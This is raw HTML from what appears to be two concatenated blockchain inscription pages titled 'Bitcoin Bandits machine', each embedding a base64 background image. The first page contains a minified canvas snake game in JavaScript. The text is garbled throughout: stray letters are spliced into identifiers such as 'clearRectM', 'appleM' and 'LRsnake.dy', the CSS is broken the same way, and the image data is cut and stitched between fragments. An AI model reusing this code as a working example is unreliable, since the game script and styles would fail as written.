ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAbG0lEQVR4nO3dfbBV1XnH8edGsFgFRKgXSeVFKVXHOlEnaRIGRQYldRxkRif6h8MEqzXTTnRqsOpo+YNq1fFtNE6LmgTHpjOQ0Q4aa9Va1BqNqUqoYwUpyJuiVhCFKETU2z9g7/Psc9a6e6/9dp597vfzTxaLffZeXMziOb+99tp90+fMHRAAgDlf6fYAAABuTNAAYBQTNAAYxQQNAEYxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYxQQNAEYxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYM
NazbA4BdLzz5aLeHgJJMnzO320NADlTQAGAUEzQAGEXEAW+U8dT3X4rbZy35Zkf/c/+2Lu47/c+mxe2Q/rznqPt6TR3zjZvnC5qLChoAjGKCBgCj+qbPmTvQ7UGgPq44Q0cZPjriuG7SgyIi8rXjJsR9Wzd8GLePPvaIzP0hx+r+uq/XpDGfOHti3I7+3ljF0UxU0ABgFBM0ABhFxNGjsqzMiGx55j3nsRPPGB+3Xas4Xn96S9w36qCD4/bGvbvi9pQRowbtDzlW94ccW8b1rI9Zx02r126L29EqDiKOZqKCBgCjWAfdA0Ju/Pmq5RDROltf1bZ02Pq4PfrOawY918c/uNl5bFp/lmPLuN6llz8Wtxd9vmr/7/+j+xquY/XxiWsEnMN37A//+qm4rW8S6jXRNy5xfhQNQQUNAEYxQQOAUUQcDRJy4+97//543F487JRSxxF9hdY3CfXNK/m81bxwYus/sZHzVnSc6zZxH3tvSn/ivH0nts6nYoTLHrm+49qh13NJM
fO7cG+L2bnU9Off1juO9f6aUc/h+hhv37Y3bOm7Sj3qj2aigAcAoJmgAMIqIw6CQKEMkGWfUIW0Vx8LhKnJQX99H/8i9OiKybEsrG1nYN/g5XHHJYOe7NON5s5xbnzdvf+5j7z4nbrKKo/dRQQOAUUzQAGAUEUeXhTxkcsXck9wnqTniSFvFseuLz+L2Qs8Ki6uuuUxERPpvbq12WPfOztaxA63+9w8cKyIiB85xleq79ZYXnOPU50uT99j+gP6QY3W/7tN/VlZx9D4qaAAwigkaAIwi4qhJyMoMX5SxbveXzv5+Z291QvbieO/809UnVXv92o7zDjj6fP26T++kpx+S0cfsOBAH+B6ocR3rOz5knFnGH3LswvPGxu37VuyO26zi6E1U0ABgFBV0yULXMLuqZV+lLLs+zj2uMrluEupqeuGGEXH76NWt7cadr4FSNxETx6b0J/rUTcm7pp7W6n94R+scB8anx5B2rO/4xLG+czj6Q47V/Yk+/Zor9efW/dwk7B1UM
0ABgFBM0ABhFxFFAGWuYnXGGJ8oY2LE9++AqFH2F1jej9NfqkP6856j7ek0dMzcJm40KGgCMYoIGAKN4q3cGVa5hdsUZ3ihjp7t//EPPuY8/IGTDfv0mb02/1RvNw1u9m4kKGgCMYoIGAKNYxdGm6MqM0IdMnHGGJ8oY2PSW+9w5ueIMX5Qxa9asUq+Ncq1cudLZT7TRbFTQAGAUEzQAGDVkI47KVmaEPmTiiDN8UcbAh5vd50j5dzZkZQZRhm1EGUMLFTQAGMUEDQBGDamIQ8ca1016MG7rvQuKrswIfcjEFWd4o4zPPnH3y8iOngfOPDtu+1ZmnD3uts7O1zyXQO0e376wo48oY2ihggYAo4ZUBe2jq+bCN/4C1zA7q2VPpTzh7c5KOdRffvW+uD31kMMzf+7E2RPjdrRRv3411NjhIzo+UyXXeNqFjC/L+YqOKct49DkeP7ATHVXz0EUFDQBGMUEDgFFEHNIWaxS88Re8htkRZ4RGGSG71WnR12n9ddz3Ndz1M
lT001igzJskSQ5RxvpDxpY1Jf76MSAW9jwoaAIxiggYAo4g4RBKxRtGVGaFrmEPijLxRhk9abBHyNTzLsfq9edF1ssQQZa6OyBLnaK5+33h853Nd2/WzANpRQQOAUUzQAGAUEYe0xRpFV2YYjDJ81u/5SEREzjjxmLhv64YP43ZarHHl+u+qk5U6tKQyzl3m+ALPdYf8vKNPxxpHH3tE0RGhR1FBA4BRTNAAYBQRh0gi1ii6MqOuh0zKEO3FseiKb6cee+nlj8XtKNr40znnVjKuXnPlk/t/XndM7Yw6RJKx0ugph9UyJjQDFTQAGEUFLcmquek3/kJEN6cunNj6z2DkvBVdGk3vu//uc5z9+tsJoFFBA4BRTNAAYBQRh7TFGq44Y98ezycHjzgsxhpadHNq2ZbPW52er+GL73qx9Ysq1zz3MF+UtHvFvNZB96yqb0AwjwoaAIxiggYAo4g4RJKxhivOGH5IfWOpUfSot28VwVVXT4/beq0u8tFR0mL1ePci1f+tM
WkcE66igAcAoJmgAMIqIQyQZa7jijIMPrW8sNYoe9V543lj3AevX1jeYIWDdOzvj9uq125z9gEYFDQBGMUEDgFFEHCLJWMMRZ/QdMcn9ube2VjQgt1/8eI6z/+Xv3dTR94Ccnfm8tz28I/UY/b495DOgIiO9Yf9AIkrqzTgN+VBBA4BRVNAiiarZVS33TT6mo09ERF6ppoL2VcqnjDnI2f9ywevpVy7pvaH1+mjePF2c75tKon82FTRaqKABwCgmaAAwiohDkrGGM84YM66ya7viDF+UMWb4QCVj0I9x6x3XUK4sURKgUUEDgFFM0ABgFN9npS3WcMQZfWOLRxwhKzN8UcblC65w9k+QI/MPrM3iX30Qt28t7awQIUpCOCpoADCKCRoAjOJ7lkgi1nDGGaNGZz7V1x+4Nm7/QvWHrMzwRRllvzgg2rA/2tVOpP2x4xa9AoF3EuajH5f/F7VJ/6XdGAwagQoaAIxiggYAo4g4pC3WcMQZ00a6/x2bpuKMSOhDJs44M
wxdllPziAB1tRK5d9o4aR2v/Dd5JWJzez0Rv0p+IjwCFChoAjGKCBgCjiDhEErGGK86YNrLP+bEyHjIJeQdiVS8OuP/uc+K23hfC14/i9GoZHR+NnnJYN4YDo6igAcAoKmhJVs2uarnSNcwBr9iq6sUBvseOeRy5OnqTfl4nBh8qaAAwigkaAIziO6wkY43CN/4C1zAHvQOx5BcHROtvt85bEfclbgyqfhSnf7YaN2DhQwUNAEYxQQOAUUQckow1Cq/MCFzDfJRjBcZ7J3/DfY4SXhygRetvr7p6etx3q/q6nei/5YVSrz0U6VUxI1V8tHvFvNZB96yqb0AwjwoaAIxiggYAo4g4JBlrFF2ZERJl+HijjIAXB4TwbdLv60c+yzyb9Ov+b9U4HthHBQ0ARjFBA4BRRBzSFmsUXJkREmWIiCwedkpH32WeKMP34oCPg67YSe8L4etnv4jifJv0635Ao4IGAKOooEWSVXNFN/5clbKP9xVbnn2pX858ZjffI8gajyMXM
59sDOnkzttzXmqHZqKABwCgmaAAwiohDJBFrBO0ulxJxhMQaWsgrtkSKRxyL73oxbr9x+2lxeyS72ZVq+erWenv9X07iJu1sIg60UEEDgFFM0ABgFBGHJGMNZ5xR8kb5aULegVgGvaJg8a8+iNu3VnK1oWvRFd9OPeauR1+rYSRoCipoADCKCRoAjCLikLZYwxFnlL1RfhpflLFzn3t1R17r93wkIiJTDzk87vPtYKcfTZb1pQ5jyNAb9p/ww/+M2zpiktkT6xwSjKOCBgCjmKABwCgiDpFErOGMMyraKN/HF2Ws2vlFqdfR0UbEt7Nd4ms4ctEb84tnRQerOKBRQQOAUVTQ0lY1O6rlqvZh9vFVyut2V7MOWu9mp3et8/UjH73v8zU3/EfcHjt8ROsgbhJCoYIGAKOYoAHAKCIOkUSs4Yozqtoo38cXZazb/aWzv7/g9fT63Cz9yEevMb/pwq86j3miqtwMjUQFDQBGMUEDgFF8h5VkrOGKM6raKF9E5PY7z+roM
80UZsqvc77/R49tb1cb8iZUbbNhfKt8a8wQ27IdCBQ0ARjFBA4BRRBySjDVccUYZG+W7ogwRT5zhiTIGdmwvPA7N9fi2fpgC5dI7AvLoPLKgggYAo5igAcAoIg5JxhquOCNko/zRP7ombt+u+kNWZnijjJ3lRhwuvg37tTum/lxERK588rtVD6cnRD8vX6yxY9/eOofTGOdtuCjX5x4+9mclj6R7qKABwCgmaAAwiohDkrGGK87wbf+p44xI6EMmzjjDE2UMbHrLfe4SLV/d+llsVf36a3i0PWb01R3ZuH6G7W206KhiwaaL4/boyYfF7Y83/TZuL53803oGViMqaAAwigpaklWzq1oO2l0udA2zo1r2VcoDH252n6Pgv7OJm1SeG1muKs+3rveqG8+O27de9/ig1w45Vh+f5VhfxRo5UW2O//rTW5z9IXzniPr1GFgTjSyooAHAKCZoADCKiEOSsYYrzqhyDbMrzvBGGZ994u6XkZ7+bPLepPLFGgOrfu3s17FEM
1B9yrD4+SzSS9ufSkUSW/hBp5yDWQBZU0ABgFBM0ABhFxCHJWKPwyozANczOOMMTZUx4u1iUkYVvdUHaighfJOGLH6L+kGP18VlWcWjR+PXY867i0MdesPda5zH/c84/O49vH0/7mACNChoAjGKCBgCjiDikLdYouDIj+CETR5xRR5Th41tdEPI1PCR+CI0qdn90z/7GVUEfc9r1r/8Qt086Qf3GtlZz/Yv/3fG5b+hfjGhFQstH3NTqT1nFQayBLKigAcAoJmgAMIqIQyQRaxRdmRH6kEkZccbiYad09G155r24/dT3X4rbZy35Zsexs2bNKjyGujy2fP///tM6374k2X2wb3fqMdu//N3gv//pu3H7sWlLCo/psXWtdvT3svLJR53HTp8zt/D1YBsVNAAYRQUtbVVz0Rt/NVfKWfiq6YirqhYRWbBgQa7r1eH6SZMKn+OmHRtTj9n0y//KfL7LV7d+to+ce0GuMbn4/h6WLl3q7Key7h1U0ABgFBM0ABhFxCGSM
iDWK3vjrZpSRhY47Iq7YQ6SZ0UeIa8dOST/o3NYx5z6yPPO59bFlxh1aSPRB7NFMVNAAYBQTNAAYRcQhyVjD8sqM2+88y9n/8Q9uLnQNV+whEhZ99ErsMZj39g6+JtoK198FKz6aiQoaAIxiggYAo4g4pC3WMLAywxdl+N6N2J9rROlCoo9eX/EhIvLrC+ZnPvb6J56O22ceaN/wndmljykrKw+7nLfhorg96qCDW+OY/NNKrtd0VNAAYBQTNAAYRcQhkog1isYZoQ+ZuOIMX5Thezdi3cp42KXXuYKDDSr2OPbdrfUNJocXDuygV3bUoWONjXt3lXruXkQFDQBGUUFL/qq5sht/vreIr1+b+Xp1y7uW+sd/vCLuW/T5qrj9/jWXDXq9/pvvdR6b1p/l2LRrvnf+6XHf+Ieei9u6/74Vrb2moz/XNHWNDYta3yz+aP4DzvNFY8oyTv3fhuscPvfe9rKz/5I35w36ubx8NwNnrj0/bj973EMiIrJg08VB546O76UbM
jlTQAGAUEzQAGEXEkUGVa5idbxH3RBm+FwdYpqOPiWeMz3UO19fwRblH1KL/Xhd5YgR97TKu6dI39Tj1q+e8x7XzRx+d59D/Ten4xYoo1hBpxR2jjzss9XOjJ3ceo6ORpscdVNAAYBQTNAAYRcTRpmicEbqG2RVneN+B+OnOzGNrosTPXkcLjtUd/Te3+nzn0LFFtMLiPs+qhZDxLfKskihy7qpZjDU0HUtE0cbqtdvivq8dNyHzuXTs0fS4gwoaAIxiggYAo4g4JD3WqPIhE+c7EH1RhvfR2Hz/zuZdVVEV/4MqXy98jvEH4o7LPCs0et1lC90/Q4s/g60bPhQRkbHDR8R9z7ze+v/J1EMOz3wu/Wh5E1FBA4BRTNAAYFTf9DlzB7o9iLpEO3SJiFw36cG4PWXEqLhddGVG6EMmzjjDF2XkfDeijnB0rDFUd5qzYMNRR8dtizvb1f2uQr3aYtcXnw167Po9H8XttLij6S8FoIIGAKOYoAHAKFZxSDLWKLoyI/ghM
E1ec4YkyZN8ed78Ue8nArFmzCn0eOaz537jp+/mvXLlSRKqNG2559fm4ffWpMyq7ThodP0Rxhy/q6PVYQ6OCBgCjqKClrWoueOMvS6U84S397+L+9rY/VI/i+irl4Ye4+wuaNGlSJefFIFQFrX/+48aNi9tRBV2lo4an7xhXt6jqDblxKNKqnJteNWtU0ABgFBM0ABhFxCGSiDUK3/hLiTK8dKzhizIOPnTwcwA9INqwf6O0/r+08/O9qZ8bM2xE4vMiyRcBNBEVNAAYxQQNAEYRcUgy1ii+MiPnv3k61vBFGeqR9KTf5rtmj3hj24dx+4QJRzj7XfSxKIfeTiH3OaT4OWKbsx+q16PrFTS+/joeh6eCBgCjmKABwCgiDknGGqWuzPBwvSDgkoNfaf3CE2X0/f4YzxmbEXG4IgdfzJAWW2SJJ1zHpMUeKGbKlCndHkJuGzdujNv6z+HrrwMVNAAYxQQNAEYRcUhbrJG6u1z2nePS3nWYoGINX5TRN/kY92dfqX7DM
d1/kkPX320XHhH4ur5BoBLCCChoAjKKCFklWza69mBO7y2V/vVQIXTX7KuW+qcd5Pv1crmumyVs1h1TFdVTNVV+naR587Tdxe/5JJ3dxJEhDBQ0ARjFBA4BRRBwiyVjDtVl+RRvlazrW8EYZo0ZXPg4fV1wQ8lh1qLyRiU/IGmzkN2Han3T0ffT2hi6MpJj+/v64/bsuvtSAChoAjGKCBgCjiDhE0jfLr2Gj/ESs4Ykypo10/3vqfud4udIet84Sd+SNFPKuBCHCsGHUKN8ujHbp90Su27aja+OgggYAo5igAcAoIg6R9M3yE7vLVbRznIo1fFHGhRPdf133VjKgsJUUPBQClI8KGgCMYoIGAKOIOESSsYZjs/zk7nLVRBw61vBFGWOGD1Ry7SzK3lNj8+b9L4vT73jrVQsWLOj2ENBQVNAAYBQVtEjqXsyJ3eUq2ntZV82+SvnyBVc4+yfIkZWMqWxR1SzSqpz1G5P12tOmmzFjRty++OKLRWToVtJfGfUHcfv3M
9rW+gVpZaxyNycp4NCpoADCKCRoAjCLikPTN8pO7y1WzOb6ONXxRRh276ln37LPPiojIL/el1xZj/vbSuP1XL72Z6bxZzp3lvGvWrEkd31CkY4Rx48bF7W5GCtGYrIxHo4IGAKOYoAHAKCIOybBZfoUb5V8y9on9jQVPtDp9UUYNu+o10UGnHO3s3/l397d+ceZppZ27jPMCWVBBA4BRTNAAYBQRh6Rvlq8fw867OX4cZbQLeUGA4zH0/SraYa8hDp04OW5/smVTY84NpKGCBgCjmKABwCgiDpHUzfL1Phlpm+MHRRkiGV4Q0OLaJ2S/oR1x6OhBRxK7VhXfN8V17jLOC2RBBQ0ARjFBA4BRRBySvlm+b/vPbf3/19kZ+pBJ6gsCVL9jnxARqWwL1CaqcqVFk1dxPPjab+L2/JNO7uJIEIIKGgCMooKW9M3yE7vL9avfKGENc+oLAnS/6zF0Ealqh72m+KLCm3ZVnfuG78yO29c/8XTcXnLRhZVcD81EBQ0ARjFBM
A4BRRBySYbP8Ctcwp78gQKlwV72mmDlzpoiIXF/Reas4N5AXFTQAGMUEDQBGEXFIW6xRcGVG6BrmkBcEuB5DF8m/w14T6ffGpTn++OPj9vPPP9+V8wJFUEEDgFFM0ABgFBGHSDLWKLgyI0uU0X+z3hNv/0Mm7//938Q9vijD9Ri6SPoOe73o1VdfbeS5gRBU0ABgFBM0ABhFxCGSjDUKrsxIizJ80nbUE/Hvqgf4RLvYsYNdM1FBA4BRVNAiiaq5+I2/fDvLpe2oJyKyc19frnPDtsTOdj9bFrdv7cZgYAoVNAAYxQQNAEYRcUgy1ijzxl8Wi4edIiIin6pYwxdlLNvyeeHr9YpTTz21kecGQlBBA4BRTNAAYBQRhyRjjSjOqCrK8NGxhi/KWLf7S2d/v7O3N23fvr1R5wWKoIIGAKOYoAHAKCIOERn/kI4wisUZaVGGj441fFGG7BpKW/O7bd68udtDSJg0aVK3h4AeRgUNAEYxQQOAUUQcBeSNM1wSsYYnyhhYM
v7a06yG/jRs3OtszZ87swmg6RTvYibCLXdNRQQOAUVTQGZRZKXupqtlXKX/5Bq9iiujKdcqUKbVeW1+v7JuESy66MG5vOLCz3fxSr4AmoYIGAKOYoAHAKCKONrXEGQ461vBGGXt3eT499P6drTvWALph6P0/GwAaggkaAIwi4pD6Y42/mDcybsdxxhvqAF+U8dknnjOO9PRjqGDtc2+iggYAo5igAcAoIo4KOaMMkfQ4wxdl7NvjuRIRR53qetT72He3iojIBtVHfDG0UEEDgFFM0ABgFBFHSaI4IyjKEHHHGd4oAxZUuRfHUPXnF8yL22vWrKn8eq++qh8GG1v59fKiggYAo5igAcAoIo5AqSszQh8yCYgzJrx/ZOZje1VTIoXjjz++tHPplRv6gRTfMegdVNAAYBQVtEd9a5g7lVEpd2tXvsHo6nfWrFkiIrJy5cpuDadSS5cujdvRn7UMTayUp01o3YSbMWNG3NY3A3+yfEWdQxIZftigv61vWtY+NoUKGgCMM
YoIGAKOIOKTk3eUC1zD3apyRJoo7yvz6b1VTbmzW7cXX3uz2EEREZN22Hd0eghcVNAAYxQQNAEYRcUjbKg1WZtSKr/9DSx2PcZfByjipoAHAKCZoADCKiEMkGWsUXJlBlAGgLFTQAGAUEzQAGEXEIZKMNYgzABhBBQ0ARlFBi6RWzVTKALqBChoAjGKCBgCjiDg88sYaRBkAykIFDQBGMUEDgFFEHEKcAcAmKmgAMIoJGgCMIuLIgCgDQDdQQQOAUUzQAGAUEUcb4gwAVlBBA4BRVNBC1QxUaenSpc7+6XPm1jySwVkcJxU0ABjFBA0ARg2piEN/VbnxyfldHEkXvdnZ5ftqh+6yFgGgflTQAGAUEzQAGNU3fc7cgW4PAgDQiQoaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCM
BgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKP+HztyR+6Shq3ZAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRectM
(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,appleM
.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===LRsnake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
